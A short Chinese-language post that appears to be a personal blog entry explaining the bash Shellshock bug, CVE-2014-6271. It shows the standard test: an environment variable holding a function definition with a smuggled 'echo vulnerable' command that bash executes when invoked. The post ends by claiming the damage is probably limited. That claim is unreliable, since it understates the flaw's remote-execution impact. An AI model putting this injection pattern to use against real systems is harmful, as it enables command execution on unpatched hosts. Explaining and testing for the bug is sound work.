How CVE-2014-6271 works

透過下面這篇看懂了~ycombinator除了創業竟然還可以順便解惑…
https://news.ycombinator.com/item?id=8361574

先透過下面這個方式設定一個環境變數
$ export badvar='() { :;}; echo vulnerable’
然後再呼叫bash執行某指令,例如
$ bash -c “pwd"
然後就可以發現原本設定在環境變數裡面分號後面的指令竟然就被執行了…
$ bash -c “pwd"
vulnerable
/home/owen

原因應該是呼叫 bash 的時候,實際上的行為就是 fork 出一個 bash process
並且會設定一次目前現有的環境變數給 fork 出來的子程序
然後在設定環境變數的過程中執行到了badvar=() { :;}; echo vulnerable
然後就順便執行了後面的 echo 指令
不過這好像沒有辦法作到權限提昇,傷害應該有限